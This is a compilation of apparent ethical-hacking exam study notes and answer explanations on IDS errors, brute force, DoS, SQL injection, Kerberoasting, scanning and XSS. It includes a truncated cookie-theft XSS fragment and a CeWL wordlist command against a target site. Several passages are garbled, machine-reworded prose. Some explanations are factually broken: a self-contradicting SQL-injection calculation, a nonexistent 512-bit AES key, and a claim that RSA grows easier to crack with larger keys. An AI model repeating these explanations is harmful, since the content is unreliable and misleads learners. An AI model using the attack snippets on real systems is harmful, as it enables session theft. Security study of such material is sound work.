True Negative - IDS referring a behavior not an attack and in real life it is not

False Positive - IDS referring a behavior as an attack, in real life it is not

False Negative - IDS referring a behavior not an attack, but in real life is an attack.

False Negative - is the most serious and dangerous state of all !!!!

Brute-force attack when an attacker uses a set of predefined values to attack a target and analyze the response until he succeeds. Success depends on the set of predefined values. It will take more time if it is larger, but there is a better probability of success. In a traditional brute-force attack, the passcode or password is incrementally increased by one letter/number each time until the right passcode/password is found.

https://en.wikipedia.org/wiki/Meet-in-the-middle_attack

The meet-in-the-middle attack (MITM), a known plaintext attack, is a generic space–time tradeoff cryptographic attack against encryption schemes that rely on performing multiple encryption operations in sequence. The MITM attack is the primary reason why Double DES is not used and why a Triple DES key (168-bit) can be bruteforced by an attacker with 256 space and 2112 operations.

The intruder has to know some parts of plaintext and their ciphertexts. Using meet-in-the-middle attacks it is possible to break ciphers, which have two or more secret keys for multiple encryption using the same algorithm. For example, the 3DES cipher works in this way. Meet-in-the-middle attack was first presented by Diffie and Hellman for cryptanalysis of DES algorithm.

File system permissions

Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

A powerful and often the most effective cryptanalysis method in which the attack is directed at the most vulnerable link in the cryptosystem - the person. In this attack, the cryptanalyst uses blackmail, threats, torture, extortion, bribery, etc. This method's main advantage is the decryption time's fundamental independence from the volume of secret information, the length of the key, and the cipher's mathematical strength.

The method can reduce the time to guess a password, for example, for AES, to an acceptable level; however, it requires special authorization from the relevant regulatory authorities. Therefore, it is outside the scope of this course and is not considered in its practical part.

Dynamic ARP inspection (DAI) protects switching devices against Address Resolution Protocol (ARP) packet spoofing (also known as ARP poisoning or ARP cache poisoning).

DAI inspects ARPs on the LAN and uses the information in the DHCP snooping database on the switch to validate ARP packets and to protect against ARP spoofing. ARP requests and replies are compared against entries in the DHCP snooping database, and filtering decisions are made based on the results of those comparisons. When an attacker tries to use a forged ARP packet to spoof an address, the switch compares the address with entries in the database. If the media access control (MAC) address or IP address in the ARP packet does not match a valid entry in the DHCP snooping database, the packet is dropped.

https://en.wikipedia.org/wiki/Clickjacking

Clickjacking is an attack that tricks a user into clicking a webpage element which is invisible or disguised as another element. This can cause users to unwittingly download malware, visit malicious web pages, provide credentials or sensitive information, transfer money, or purchase products online.

Typically, clickjacking is performed by displaying an invisible page or HTML element, inside an iframe, on top of the page the user sees. The user believes they are clicking the visible page but in fact they are clicking an invisible element in the additional page transposed on top of it.

A Slow HTTP POST attack is a type of denial-of-service (DoS) attack that exploits the way web servers handle HTTP requests. The attacker sends a legitimate HTTP POST header to the web server, specifying a large amount of data to be sent in the request body. However, the attacker then sends the data very slowly, keeping the connection open and occupying the server’s resources. The attacker can launch multiple such connections, exceeding the server’s capacity to handle concurrent requests and preventing legitimate users from accessing the web server.

The attack duration D is given by the formula D = a * b, where a is the number of connections and b is the hold-up time per connection. The attacker intends to maximize D by manipulating a and b. The server can manage m connections per second, but any connections exceeding m will overwhelm the system. Therefore, the scenario that is most likely to result in the longest duration of server unavailability is the one where a > m and b is the largest. Among the four options, this is the case for option B, where a = 100, m = 90, and b = 15. In this scenario, D = 100 * 15 = 1500 seconds, which is the longest among the four options. Option A has a larger b, but a < m, so the server can handle the connections without being overwhelmed. Option C has a > m, but a smaller b, so the attack duration is shorter. Option D has a > m, but a smaller b and a smaller difference between a and m, so the attack duration is also shorter. References:

• What is a Slow POST Attack & How to Prevent One? (Guide)
• Mitigate Slow HTTP GET/POST Vulnerabilities in the Apache HTTP Server - Acunetix
• What is a Slow Post DDoS Attack? | NETSCOUT

Gathering Wordlist from the Target Website An attacker uses the CeWL tool to gather a list of words from the target website and perform a brute-force attack on the email addresses gathered earlier. # Cewl www.certifiedhacker.com (P.200/184)

A hybrid encryption system is a system that combines the advantages of both asymmetric and symmetric encryption algorithms. Asymmetric encryption, such as RSA, uses a pair of keys: a public key and a private key, which are mathematically related but not identical. Asymmetric encryption can provide key exchange, authentication, and non-repudiation, but it is slower and less efficient than symmetric encryption. Symmetric encryption, such as AES, uses a single key to encrypt and decrypt data. Symmetric encryption is faster and more efficient than asymmetric encryption, but it requires a secure way to share the key.

In a hybrid encryption system, RSA encryption is used for key exchange, and AES encryption is used for data encryption. This way, the system can benefit from the security of RSA and the speed of AES. However, the system also depends on the key sizes of both algorithms, which affect the security and performance of the system.

The key size of RSA encryption determines the number of bits in the public and private keys. The larger the key size, the more secure the encryption, but also the slower the key generation and encryption/decryption processes. The time complexity of generating an RSA key pair is O(n*2), where n is the key size in bits. This means that the time required to generate an RSA key pair increases quadratically with the key size. For example, if it takes 1 second to generate a 1024-bit RSA key pair, it will take 4 seconds to generate a 2048-bit RSA key pair, and 16 seconds to generate a 4096-bit RSA key pair.

The key size of AES encryption determines the number of bits in the symmetric key. The larger the key size, the more secure the encryption, but also the more rounds of encryption/decryption are needed. The time complexity of AES encryption is O(n), where n is the key size in bits. This means that the time required to encrypt/decrypt data increases linearly with the key size. For example, if it takes 1 second to encrypt/decrypt data with a 128-bit AES key, it will take 2 seconds to encrypt/decrypt data with a 256-bit AES key, and 4 seconds to encrypt/decrypt data with a 512-bit AES key.

An attacker has developed a quantum algorithm with time complexity O((log n)*2) to crack RSA encryption. This means that the time required to break RSA encryption decreases exponentially with the key size. For example, if it takes 1 second to break a 1024-bit RSA encryption, it will take 0.25 seconds to break a 2048-bit RSA encryption, and 0.0625 seconds to break a 4096-bit RSA encryption. This makes RSA encryption vulnerable to quantum attacks, unless the key size is very large.

Given n=4000 and variable AES key size, the scenario that is likely to provide the best balance of security and performance is C. AES key size=192 bits. This configuration is a compromise between options A and B, providing moderate security and performance. Option A, AES key size=128 bits, provides less security than option C, but RSA key generation and AES encryption will be faster. Option B, AES key size=256 bits, provides more security than option C, but RSA key generation may be slow. Option D, AES key size=512 bits, provides the highest level of security, but at a significant performance cost due to the large AES key size.

References:

• Hybrid cryptosystem - Wikipedia
• RSA (cryptosystem) - Wikipedia
• Advanced Encryption Standard - Wikipedia
• Quantum computing and cryptography - Wikipedia

Wireless Threats - Confidentiality Attacks Launch of Wireless Attacks: Evil Twin Evil Twin is a wireless AP that pretends to be a legitimate AP by replicating another network name. Attackers set up a rogue AP outside the corporate perimeter and lures users to sign into the wrong AP. (P.2297/2281)

The total data extracted by the attacker is E=xyz’u’, where x is the number of tables, y is the number of columns, z is the number of records, and u is the number of SQL payloads. To maximize E, the attacker would want to choose the highest values of z and u, while keeping x and y constant. Therefore, the situation where z=600 and u=2 would result in the highest extracted data volume, as E=42600*2=9600. The other situations would result in lower values of E, as shown below:

• A: E=42400*4=12800
• B: E=42550*2=8800
• D: E=42500*3=12000

The attacker uses UNION SELECT statements to combine the results from different tables and columns, and DBMS_XSLPPOCESSOR.READ2CLOB to read sensitive files from the database server12. These techniques can bypass input validation and pattern matching measures that are based on the application’s responses3.

References:

• 1: DBMS_XSLPROCESSOR - Oracle Help Center
• 2: DBMS_XSLPROCESSOR.READ2CLOB Example Script to Read a file data into …
• 3: Attack Surface Analysis - OWASP Cheat Sheet Series

False Positives occur when a scanner, Web Application Firewall (WAF), or Intrusion Prevention System (IPS) flags a security vulnerability that you do not have. A false negative is the opposite of a false positive, telling you that you don't have a vulnerability when, in fact, you do.

A false positive is like a false alarm; your house alarm goes off, but there is no burglar. In web application security, a false positive is when a web application security scanner indicates that there is a vulnerability on your website, such as SQL Injection, when, in reality, there is not. Web security experts and penetration testers use automated web application security scanners to ease the penetration testing process. These tools help them ensure that all web application attack surfaces are correctly tested in a reasonable amount of time. But many false positives tend to break down this process. If the first 20 variants are false, the penetration tester assumes that all the others are false positives and ignore the rest. By doing so, there is a good chance that real web application vulnerabilities will be left undetected.

When checking for false positives, you want to ensure that they are indeed false. By nature, we humans tend to start ignoring false positives rather quickly. For example, suppose a web application security scanner detects 100 SQL Injection vulnerabilities. If the first 20 variants are false positives, the penetration tester assumes that all the others are false positives and ignore all the rest. By doing so, there are chances that real web application vulnerabilities are left undetected. This is why it is crucial to check every vulnerability and deal with each false positive separately to ensure false positives.

https://en.wikipedia.org/wiki/SQL_injection#Blind_SQL_injection

Blind SQL injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack has traditionally been considered time-intensive because a new statement needed to be crafted for each bit recovered, and depending on its structure, the attack may consist of many unsuccessful requests. Recent advancements have allowed each request to recover multiple bits, with no unsuccessful requests, allowing for more consistent and efficient extraction.

Censys scans help the scientific community accurately study the Internet. The data is sometimes used to detect security problems and to inform operators of vulnerable systems so that they can fixed

Adware, or advertising supported computer code, is computer code that displays unwanted advertisements on your pc. Adware programs can tend to serve you pop-up ads, will modification your browser’s homepage, add spyware and simply bombard your device with advertisements. Adware may be a additional summary name for doubtless unwanted programs. It’s roughly a virulent disease and it’s going to not be as clearly malicious as a great deal of different problematic code floating around on the net. create no mistake concerning it, though, that adware has to return off of no matter machine it’s on. Not solely will adware be extremely annoying whenever you utilize your machine, it might additionally cause semipermanent problems for your device.

Adware a network users the browser to gather your internet browsing history so as to ’target’ advertisements that appear tailored to your interests. At their most innocuous, adware infections square measure simply annoying. as an example, adware barrages you with pop-up ads that may create your net expertise markedly slower and additional labor intensive.

Internet of Medical Things (IoMT) devices are internet-connected medical devices that can collect, transfer, and analyze data over a network. They can provide improved patient care and comfort, but they also pose security challenges and risks, as they can be targeted by cyberattacks, such as ransomware, that can compromise their functionality, integrity, or confidentiality. Ransomware is a type of malware that encrypts the victim’s data or system and demands a ransom for its decryption or restoration. Ransomware attacks can cause serious harm to healthcare organizations, as they can disrupt their operations, endanger their patients, and damage their reputation.

To protect IoMT devices from ransomware attacks, the main recommendation is to use network segmentation to isolate IoMT devices from the main network. Network segmentation is a technique that divides a network into smaller subnetworks, each with its own security policies and controls. Network segmentation can prevent or limit the spread of ransomware from one subnetwork to another, as it restricts the communication and access between them. Network segmentation can also improve the performance, visibility, and manageability of the network, as it reduces the network congestion, complexity, and noise.

The other options are not as effective or feasible as network segmentation. Implementing multi-factor authentication for all IoMT devices may not be possible or practical, as some IoMT devices may not support or require user authentication, such as sensors or monitors. Disabling all wireless connectivity on IoMT devices may not be desirable or realistic, as some IoMT devices rely on wireless communication protocols, such as Wi-Fi, Bluetooth, or Zigbee, to function or transmit data. Regularly changing the IP addresses of all IoMT devices may not prevent or deter ransomware attacks, as ransomware can target devices based on other factors, such as their domain names, MAC addresses, or vulnerabilities. References:

• What Is Internet of Medical Things (IoMT) Security?
• 5 Steps to Secure Internet of Medical Things Devices
• Ransomware in Healthcare: How to Protect Your Organization
• [Network Segmentation: Definition, Benefits, and Best Practices]

https://support.riverbed.com/content/support/software/steelcentral-npm/airpcap.html

Since this question refers specifically to analyzing a wireless network, it is obvious that we need an option with AirPcap (Riverbed AirPcap USB-based adapters capture 802.11 wireless traffic for analysis). Since it works with two traffic analyzers SteelCentral Packet Analyzer (Cascade Pilot) or Wireshark, the correct option would be "Wireshark with Airpcap."

NOTE: AirPcap adapters no longer available for sale effective January 1, 2018, but a question on this topic may occur on your exam.

An advanced persistent threat (APT) may be a broad term wont to describe AN attack campaign within which an intruder, or team of intruders, establishes a bootleg, long presence on a network so as to mine sensitive knowledge.

The targets of those assaults, that square measure terribly fastidiously chosen and researched, usually embrace massive enterprises or governmental networks. the implications of such intrusions square measure huge, and include:

• Intellectual property thieving (e.g., trade secrets or patents)
• Compromised sensitive info (e.g., worker and user personal data)
• The sabotaging of essential structure infrastructures (e.g., information deletion)
• Total website takeovers

Executing an APT assault needs additional resources than a regular internet application attack. The perpetrators square measure typically groups of intimate cybercriminals having substantial resource. Some APT attacks square measure government-funded and used as cyber warfare weapons.

APT attacks dissent from ancient internet application threats, in that:

• They’re considerably additional advanced.
• They’re not hit and run attacks—once a network is infiltrated, the culprit remains so as to realize the maximum amount info as potential.
• They’re manually dead (not automated) against a selected mark and indiscriminately launched against an outsized pool of targets.
• They typically aim to infiltrate a complete network, as opposition one specific half.

More common attacks, like remote file inclusion (RFI), SQL injection and cross-site scripting (XSS), square measure oftentimes employed by perpetrators to ascertain a footing in a very targeted network. Next, Trojans and backdoor shells square measure typically wont to expand that foothold and make a persistent presence inside the targeted perimeter.

https://www.infocyte.com/blog/2019/02/16/cybersecurity-101-what-you-need-to-know-about-false-positives-and-false-negatives/

False positives are mislabeled security alerts, indicating there is a threat when in actuality, there isn’t. These false/non-malicious alerts (SIEM events) increase noise for already over-worked security teams and can include software bugs, poorly written software, or unrecognized network traffic.

False negatives are uncaught cyber threats — overlooked by security tooling because they’re dormant, highly sophisticated (i.e. file-less or capable of lateral movement) or the security infrastructure in place lacks the technological ability to detect these attacks.

Restrict results to those of a certain filetype. E.g., PDF, DOCX, TXT, PPT, etc. Note: The “ext:” operator can also be used—the results are identical.

Example: apple filetype:pdf / apple ext:pdf

A Kerberoasting attack is a technique that exploits the Kerberos authentication protocol to obtain the password hash of a service account that has a Service Principal Name (SPN). An attacker can request a service ticket (TGS) for the SPN using a valid user’s ticket (TGT) and then attempt to crack the password hash offline. To prevent the attacker from using the TGS to access the service, the system administrator should invalidate the TGS as soon as possible. This can be done by changing the password of the service account, which will generate a new password hash and render the old TGS useless. Alternatively, the system administrator can use tools like Mimikatz to purge the TGS from the memory of the domain controller or the client system. Performing a system reboot, deleting the compromised user’s account, or changing the NTLM password hash used to encrypt the ST are not effective ways to invalidate the TGS, as they do not affect the encryption of the TGS or the validity of the TGT. References:

• EC-Council CEHv12 Courseware Module 11: Hacking Webservers, page 11-24
• What is a Kerberoasting Attack? – CrowdStrike
• How to Perform Kerberoasting Attacks: The Ultimate Guide - StationX

Mar 1, 2016, 7:33:28 AM 10.240.250.23 - 54373 10.249.253.15 - 22 tcp_ip

Let's just disassemble this entry.

Mar 1, 2016, 7:33:28 AM - time of the request

10.240.250.23 - 54373 - client's IP and port

10.249.253.15 - server IP

- 22 - SSH port

Web Application Threats - Watering Hole Attack In a watering hole attack, the attacker identifies the kinds of websites a target company/individual frequently surfs and tests those particular websites to identify any possible vulnerabilities. Attacker injects malicious script/code into the web application that can redirect the webpage and download malware onto the victim machine. (P.1797/1781)

Encrypting all sensitive data stored on the device is the best measure to ensure the security of this data, because it protects the data from unauthorized access or disclosure, even if the device is lost, stolen, or compromised. Encryption is a process of transforming data into an unreadable format using a secret key or algorithm. Only authorized parties who have the correct key or algorithm can decrypt and access the data. Encryption can be applied to data at rest, such as files or databases, or data in transit, such as network traffic or messages. Encryption can prevent attackers from stealing or tampering with the customer data stored on the device, such as credit card details and PINs, which can cause financial or identity fraud.

The other options are not as effective or sufficient as encryption for securing the customer data stored on the device. Implementing biometric authentication for app access may provide an additional layer of security, but it does not protect the data from being accessed by other means, such as malware, physical access, or backup extraction. Enabling GPS tracking for all devices using the app may help locate the device in case of loss or theft, but it does not prevent the data from being accessed by unauthorized parties, and it may also pose privacy risks. Regularly updating the app to the latest version may help fix bugs or vulnerabilities, but it does not guarantee the security of the data, especially if the app does not use encryption or other security features. References:

• Securely Storing Data | Security.org
• Data Storage Security: 5 Best Practices to Secure Your Data
• M9: Insecure Data Storage | OWASP Foundation

Adversaries could decide to build an possible or file difficult to find or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. this is often common behavior which will be used across totally different platforms and therefore the network to evade defenses.

Payloads may be compressed, archived, or encrypted so as to avoid detection. These payloads may be used throughout Initial Access or later to mitigate detection. typically a user’s action could also be needed to open and Deobfuscate/Decode Files or info for User Execution. The user can also be needed to input a parole to open a parole protected compressed/encrypted file that was provided by the mortal. Adversaries can also used compressed or archived scripts, like JavaScript.

Portions of files can even be encoded to cover the plain-text strings that will otherwise facilitate defenders with discovery. Payloads can also be split into separate, ostensibly benign files that solely reveal malicious practicality once reassembled.

Adversaries can also modify commands dead from payloads or directly via a Command and Scripting Interpreter. surroundings variables, aliases, characters, and different platform/language specific linguistics may be wont to evade signature based mostly detections and application management mechanisms.

The host discovery technique that the tester should use is TCP SYN Ping Scan. This technique sends a TCP SYN packet to a specified port on the target host and waits for a response. If the host responds with a TCP SYN/ACK packet, it means the host is alive and the port is open. If the host responds with a TCP RST packet, it means the host is alive but the port is closed. If the host does not respond at all, it means the host is either dead or filtered by a firewall12. TCP SYN Ping Scan can bypass firewall restrictions because it mimics the initial stage of a TCP three-way handshake, which is a common and legitimate network activity. Therefore, most firewalls will allow TCP SYN packets to pass through and reach the target host, unless they are configured to block specific ports or IP addresses3. TCP SYN Ping Scan can also accurately identify live systems because it does not rely on ICMP, which may be blocked or rate-limited by some firewalls or routers.

The other options are not as effective or feasible as TCP SYN Ping Scan for the following reasons:

• A. UDP Ping Scan: This technique sends a UDP packet to a specified port on the target host and waits for a response. If the host responds with an ICMP Port Unreachable message, it means the host is alive but the port is closed. If the host does not respond at all, it means the host is either dead, the port is open, or the packet is filtered by a firewall12. UDP Ping Scan may not bypass firewall restrictions because some firewalls may block or drop UDP packets, especially if they are sent to uncommon or reserved ports. UDP Ping Scan may also not accurately identify live systems because it cannot distinguish between open ports and filtered packets, and it may generate false positives or negatives due to packet loss or rate-limiting.
• B. ICMP ECHO Ping Scan: This technique sends an ICMP ECHO Request packet to the target host and waits for an ICMP ECHO Reply packet. If the host responds with an ICMP ECHO Reply packet, it means the host is alive. If the host does not respond at all, it means the host is either dead or filtered by a firewall12. ICMP ECHO Ping Scan may not bypass firewall restrictions because some firewalls may block or drop ICMP packets, especially if they are sent to prevent ping sweeps or denial-of-service attacks. ICMP ECHO Ping Scan may also not accurately identify live systems because it may generate false positives or negatives due to packet loss or rate-limiting.
• C. ICMP Timestamp Ping Scan: This technique sends an ICMP Timestamp Request packet to the target host and waits for an ICMP Timestamp Reply packet. If the host responds with an ICMP Timestamp Reply packet, it means the host is alive. If the host does not respond at all, it means the host is either dead or filtered by a firewall12. ICMP Timestamp Ping Scan may not bypass firewall restrictions because some firewalls may block or drop ICMP packets, especially if they are sent to prevent ping sweeps or denial-of-service attacks. ICMP Timestamp Ping Scan may also not accurately identify live systems because it may generate false positives or negatives due to packet loss or rate-limiting.

References:

• 1: Host Discovery in Nmap Network Scanning - GeeksforGeeks
• 2: nmap Host Discovery Techniques
• 3: TCP SYN Ping Scan - Nmap
• : Ping Sweep - an overview | ScienceDirect Topics
• : UDP Ping Scan - Nmap
• : UDP Ping Scan - an overview | ScienceDirect Topics
• : ICMP Ping Scan - Nmap
• : ICMP Ping Scan - an overview | ScienceDirect Topics

A digital signature mechanism is a cryptographic concept that you should propose to the team to verify the integrity of the data upon retrieval. A digital signature mechanism works as follows:

• A digital signature is a mathematical scheme that allows the sender of a message to sign the message with their private key, and allows the receiver of the message to verify the signature with the sender’s public key. A digital signature provides two security services: authentication and non-repudiation. Authentication means that the receiver can confirm the identity of the sender, and non-repudiation means that the sender cannot deny sending the message12.
• A digital signature mechanism consists of three algorithms: key generation, signing, and verification. Key generation produces a pair of keys: a private key for the sender and a public key for the receiver. Signing takes the message and the private key as inputs, and outputs a signature. Verification takes the message, the signature, and the public key as inputs, and outputs a boolean value indicating whether the signature is valid or not12.
• A digital signature mechanism can be implemented using various cryptographic techniques, such as hash-based signatures, RSA signatures, or elliptic curve signatures. A common method is to use a hash function to compress the message into a fixed-length digest, and then use an asymmetric encryption algorithm to encrypt the digest with the private key. The encrypted digest is the signature, which can be decrypted with the public key and compared with the hash of the message to verify the integrity12.

A digital signature mechanism can ensure the integrity of the data upon retrieval, because:

• A digital signature is unique to the message and the sender, and it cannot be forged or altered by anyone else. If the message or the signature is modified in any way, the verification will fail and the receiver will know that the data is corrupted or tampered with12.
• A digital signature is independent of the encryption or hashing of the data, and it can be applied to any type of data, regardless of its format or size. The encryption or hashing of the data can provide confidentiality and efficiency, but they cannot provide integrity or authentication by themselves. A digital signature can complement the encryption or hashing of the data by providing an additional layer of security12.

The other options are not as suitable as option B for the following reasons:

• A. Implement a block cipher mode of operation: This option is not relevant because it does not address the integrity verification issue, but the encryption issue. A block cipher mode of operation is a method of applying a block cipher, which is a symmetric encryption algorithm that operates on fixed-length blocks of data, to a variable-length message. A block cipher mode of operation can provide different security properties, such as confidentiality, integrity, or authenticity, depending on the mode. However, a block cipher mode of operation cannot provide a digital signature, which is a form of asymmetric encryption that uses a pair of keys3 .
• C. Suggest using salt with hashing: This option is not sufficient because it does not provide a digital signature, but only a hash value. Salt is a random value that is added to the input of a hash function, which is a one-way function that maps any data to a fixed-length digest. Salt can enhance the security of hashing by making it harder to perform brute-force attacks or dictionary attacks, which are methods of finding the input that produces a given hash value. However, salt cannot provide a digital signature, which is a two-way function that uses a pair of keys to sign and verify a message .
• D. Switch to elliptic curve cryptography: This option is not specific because it does not specify a digital signature mechanism, but only a type of cryptography. Elliptic curve cryptography is a branch of cryptography that uses mathematical curves to generate keys and perform operations. Elliptic curve cryptography can be used to implement various cryptographic techniques, such as encryption, hashing, or digital signatures. However, elliptic curve cryptography is not a digital signature mechanism by itself, but rather a tool that can be used to create one .

References:

• 1: Digital signature - Wikipedia
• 2: Digital Signature: What It Is and How It Works | Kaspersky
• 3: Block cipher mode of operation - Wikipedia
• : Block Cipher Modes of Operation - an overview | ScienceDirect Topics
• : Salt (cryptography) - Wikipedia
• : What is Salt in Cryptography? | Cloudflare
• : Elliptic-curve cryptography - Wikipedia
• : Elliptic Curve Cryptography: What It Is and How It Works | Kaspersky

The attacker has most likely used RST hijacking, which is a type of network-level session hijacking technique that exploits the TCP reset (RST) mechanism. TCP reset is a way of terminating an established TCP connection by sending a packet with the RST flag set, indicating that the sender does not want to continue the communication. RST hijacking involves sending a forged RST packet to one or both ends of a TCP connection, using a spoofed source IP address and a guessed acknowledgment number, to trick them into believing that the other end has closed the connection. As a result, the victim’s connection is reset and the attacker can take over the session or launch a denial-of-service attack12.

The other options are not correct for the following reasons:

• A. TCP/IP hijacking: This option is a general term that refers to any type of network-level session hijacking technique that targets TCP/IP connections. RST hijacking is a specific type of TCP/IP hijacking, but not the only one. Other types of TCP/IP hijacking include SYN hijacking, source routing, and sequence prediction3.
• B. UDP hijacking: This option is not applicable because UDP is a connectionless protocol that does not use TCP reset mechanism. UDP hijacking is a type of network-level session hijacking technique that targets UDP connections, such as DNS or VoIP. UDP hijacking involves intercepting and modifying UDP packets to redirect or manipulate the communication between the sender and the receiver4.
• D. Blind hijacking: This option is not accurate because blind hijacking is a type of network-level session hijacking technique that does not require injecting RST packets. Blind hijacking involves guessing the sequence and acknowledgment numbers of a TCP connection without being able to see the responses from the target. Blind hijacking can be used to inject malicious data or commands into an active TCP session, but not to reset the connection5.

References:

• 1: RST Hijacking - an overview | ScienceDirect Topics
• 2: TCP Reset Attack - an overview | ScienceDirect Topics
• 3: TCP/IP Hijacking - an overview | ScienceDirect Topics
• 4: UDP Hijacking - an overview | ScienceDirect Topics
• 5: Blind Hijacking - an overview | ScienceDirect Topics

snmp-check (snmp_enum Module) is the best tool to help the ethical hacker to get the information without directly modifying any parameters within the SNMP agent’s MIB. snmp-check is a tool that allows the user to enumerate SNMP devices and extract information from them. It can gather a wide array of information about the target, such as system information, network interfaces, routing tables, ARP cache, installed software, running processes, TCP and UDP services, user accounts, and more. snmp-check can also perform brute force attacks to discover the SNMP community strings, which are the passwords used to access the SNMP agent. snmp-check is available as a standalone tool or as a module (snmp_enum) within the Metasploit framework.

The other options are not as effective or suitable as snmp-check for the ethical hacker’s task. Nmap is a network scanning and enumeration tool that can perform various types of scans and probes on the target. It can also run scripts to perform specific tasks, such as retrieving SNMP information. However, Nmap may not be able to gather as much information as snmp-check, and it may also trigger alerts or blocks from firewalls or intrusion detection systems. Oputils is a network monitoring and management toolset that can perform various functions, such as device discovery, configuration backup, bandwidth monitoring, IP address management, and more. However, Oputils is mainly designed for device management and not SNMP enumeration, and it may not be able to extract valuable network information from the SNMP agent. SnmpWalk is a tool that allows the user to retrieve the entire MIB tree of an SNMP agent by using SNMP GETNEXT requests. However, SnmpWalk is not suitable for the ethical hacker’s task, because it requires the user to change an OID (object identifier) to a different value, which may modify the parameters within the SNMP agent’s MIB and affect its functionality or security. References:

• snmp-check - The SNMP enumerator
• SNMP Enumeration | Ethical Hacking - GreyCampus
• SNMP Enumeration - GeeksforGeeks
• Nmap - the Network Mapper - Free Security Scanner
• OpUtils - Network Monitoring & Management Toolset
• SnmpWalk - SNMP MIB Browser

https://linuxsecurityblog.com/2018/12/23/create-a-backdoor-with-cryptcat/

Cryptcat enables us to communicate between two systems and encrypts the communication between them with twofish, one of many excellent encryption algorithms from Bruce Schneier et al. Twofish’s encryption is on par with AES encryption, making it nearly bulletproof. In this way, the IDS can’t detect the malicious behavior taking place even when its traveling across normal HTTP ports like 80 and 443.

https://en.wikipedia.org/wiki/Web_application_firewall

A web application firewall (WAF) is a specific form of application firewall that filters, monitors, and blocks HTTP traffic to and from a web service. By inspecting HTTP traffic, it can prevent attacks exploiting a web application's known vulnerabilities, such as SQL injection, cross-site scripting (XSS), file inclusion, and improper system configuration.

The ethical hacker conducted Test 1, which is a TCP/IP stack fingerprinting technique that uses the SYN and ECN-Echo flags to determine the OS of the target system. The SYN flag is used to initiate a TCP connection, and the ECN-Echo flag is used to indicate that the sender supports Explicit Congestion Notification (ECN), which is a mechanism to reduce network congestion. Different OSes have different implementations and responses to these flags, which can reveal their identity. For example, Windows XP and 2000 will reply with SYN and ECN-Echo flags set, while Linux will reply with only SYN flag set. By sending a TCP packet with these flags enabled to an open TCP port and observing the reply, the ethical hacker can probe the nature of the response and subsequently determine the OS fingerprint.

The ethical hacker adopted this specific approach because it is an advanced and stealthy technique that can evade some firewalls and intrusion detection systems (IDS) that may block or alert other types of packets, such as NULL, FIN, or Xmas packets. Moreover, this technique can provide more accurate and reliable results than other techniques, such as banner grabbing or passive analysis, that may depend on the availability or validity of the information provided by the target system.

The other options are not correct, as they describe different tests and reasons. Test 3 is a TCP/IP stack fingerprinting technique that uses the URG, PSH, SYN, and FIN flags to determine the OS of the target system. Test 2 is a TCP/IP stack fingerprinting technique that uses a NULL packet, which is a TCP packet with no flags enabled, to determine the OS of the target system. Test 6 is a TCP/IP stack fingerprinting technique that uses the ACK flag, which is used to acknowledge the receipt of a TCP segment, to determine the OS of the target system. References:

• OS and Application Fingerprinting | SANS Institute
• Operating System Fingerprinting | SpringerLink
• OS and Application Fingerprinting - community.akamai.com
• What is OS Fingerprinting and Techniques - Zerosuniverse

Using default settings on a web server is considered a security risk because it can reveal the server software type and version, which can help attackers identify potential vulnerabilities and launch targeted attacks. For example, if the default settings include a server signature that displays the name and version of the web server software, such as Apache 2.4.46, an attacker can search for known exploits or bugs that affect that specific software and version. Additionally, default settings may also include other insecure configurations, such as weak passwords, unnecessary services, or open ports, that can expose the web server to unauthorized access or compromise.

The best initial step to mitigate this risk is to change the default settings to hide or obscure the server software type and version, as well as to disable or remove any unnecessary or insecure features. For example, to hide the server signature, one can modify the ServerTokens and ServerSignature directives in the Apache configuration file1. Alternatively, one can use a web application firewall or a reverse proxy to mask the server information from the client requests2. Changing the default settings can reduce the attack surface and make it harder for attackers to exploit the web server.

References:

• How to Hide Apache Version Number and Other Sensitive Info
• How to hide server information from HTTP headers? - Stack Overflow

User-directed spidering is a technique that allows the hacker to manually browse the target website and use a proxy or spider tool to capture and analyze the traffic. This way, the hacker can discover hidden or dynamic content that standard web spiders may miss due to a specific file in the root directory, such as robots.txt, that instructs them not to crawl certain pages or directories. User-directed spidering can also help the hacker to bypass authentication or authorization mechanisms, as well as identify vulnerabilities or sensitive information in the target website. User-directed spidering can be performed with tools like Burp Suite and WebScarab, which are web application security testing tools that can intercept, modify, and replay HTTP requests and responses, as well as perform various attacks and scans on the target website.

The other options are not likely to achieve the same results as user-directed spidering. Using Photon to retrieve archived URLs of the target website from archive.org may provide some historical information about the website, but it may not reflect the current state or content of the website. Using the Netcraft tool to gather website information may provide some general information about the website, such as its IP address, domain name, server software, or hosting provider, but it may not reveal the specific files or web pages on the website. Examining HTML source code and cookies may provide some clues about the website’s structure, functionality, or user preferences, but it may not expose the hidden or dynamic content that user-directed spidering can discover. References:

• User Directed Spidering with Burp
• Web Spidering - What Are Web Crawlers & How to Control Them
• Web Security: Recon
• Mapping the Application for Penetrating Web Applications — 1

WHOIS (pronounced because the phrase who is) may be a query and response protocol and whois footprinting may be a method for glance information about ownership of a website name as following:• name details• Contact details contain phone no. and email address of the owner• Registration date for the name• Expire date for the name• name servers

document.write(); (Cookie and session ID theft)

https://www.softwaretestinghelp.com/cross-site-scripting-xss-attack-test/

As seen in the indicated question, cookies are escaped and sent to script to variable ‘cookie’. If the malicious user would inject this script into the website’s code, then it will be executed in the user’s browser and cookies will be sent to the malicious user.

Buffer overflow this attack is an anomaly that happens when software writing data to a buffer overflows the buffer’s capacity, leading to adjacent memory locations being overwritten. In other words, an excessive amount of information is being passed into a container that doesn’t have enough space, which information finishes up replacing data in adjacent containers.Buffer overflows are often exploited by attackers with a goal of modifying a computer’s memory so as to undermine or take hold of program execution.

